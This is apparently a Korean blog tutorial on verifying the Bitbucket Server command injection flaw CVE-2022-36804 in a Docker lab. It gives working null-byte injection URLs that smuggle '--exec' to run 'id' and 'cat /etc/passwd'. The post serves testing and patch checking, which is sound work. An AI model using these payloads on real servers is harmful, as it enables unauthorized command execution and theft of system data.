Confluence Atlassian Bitbucket server & Datacenter 에서 Command injection 취약점이 발견되었고 이 취약점을 확인해야하는 사람들을 위해 빠르게 검증할 수 있는 방법을 제시하고자 작성하였습니다.
다수의 API 엔드포인트의 입력 값에 대한 검증이 미흡하게 설계되어 (아래 2가지 권한을 가진 경우) HTTP 통신 간 요청 값을 조작하여 시스템 내부에 명령어 실행 및 자원 획득이 가능합니다.
Multiple API Endpoint HTTP 요청 시 추가인수에 Null byte(%00)를 추가하여 명령어를 실행시킬 수 있습니다.
아래 #환경구성 내용을 통해 테스트 환경 구축이 가능합니다.
테스트 시 Attackerkb cve-2022-36804 내용을 기반으로 검증하고 싶었으나,
관련 테스트 환경 구성 시 많은 리소스가 필요해 내용 참고 후 간단하게 검증하였습니다.
1) Bitbucket repository 에서 test_repo 페이지 접근 (Proxy 설정)
2) Burp Suite 에서 인터셉트 된 패킷을 Repeter 로 복사
3) %00을 삽입한 HTTP 요청 만들기
1. 패킷에 복사한 test_repo 의 경로
/projects/TEST/repos/test_repo
2. Bitbucket rest api 경로
/rest/api/latest/
3. 추가 인수에 %00 삽입한 공격문 작성
/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin
4. 조합
/[bitbucket rest api 경로]/[복사한 repository 경로]/[추가인수]
5. 응용
* id 확인(--exec=%id%60%00--remote=origin)
/rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60id%60%00--remote=origin
* /etc/passwd 확인(--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin)
/rest/api/latest/projects/TEST/repos/test_repo/archive?filename=&at=test&path=&prefix=rebugger%00--exec=%60cat%20%2fetc%2fpasswd%60%00--remote=origin
4) 패킷 요청(id 확인)
5) 패킷 요청(/etc/passwd 확인)
Docker를 이용한 Bitbucket 환경 구성하기
//취약한 버전 다운로드
> docker pull atlassian/bitbucket-server:[취약한 버전 Tag]
> docker ps
REPOSITORY TAG IMAGE ID CREATED SIZE
atlassian/bitbucket-server 7.6.15 25ba3a0ea04b 4 days ago 1.12GB
atlassian/bitbucket-server latest 75e0cbeb1ca6 4 days ago 1.49GB
kalilinux/kali-rolling latest 5eb4e474175c 7 days ago 121MB
//컨테이너와 Local 간 데이터 저장 공간 생성
> docker volume create --name pocvolume
//취약한 버전의 이미지로 컨테이너 실행
> docker run -v pocvolume:/var/atassian/application-data/bitbucket --name bitbucket -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:[취약한 버전 tag]
확인
http://localhost:7990 에 접근이 된 경우 컨테이너가 정상적으로 작동된 것으로 판단
추가 구성
가입을 통해 임시 라이센스 발급받고 계정을 생성한 후 Project 와 repository를 생성하면 기본적인 테스트 환경은 구성이 완료된다.
최근 Atlasian Confluence 관련 취약점이 많이 발견되는 것 같다.
사용하고 있는 소프트웨어, 라이브러리 등 자원들의 버전 관리를 통해 CVE 취약점이 발표되는 경우 신속하게 버전 체크부터 도커 컨테이너를 통한 빠른 PoC 까지 확인하면 좋을 듯
참고
https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis?utm_source=rapid7-blog&utm_medium=referral&utm_campaign=etr-atlassian-bitbucket
https://jira.atlassian.com/browse/BSERV-13438
https://hub.docker.com/r/atlassian/bitbucket-server
https://www.youtube.com/watch?v=txB7vs_7GQY
https://github.com/notdls/CVE-2022-36804/blob/main/exploit.py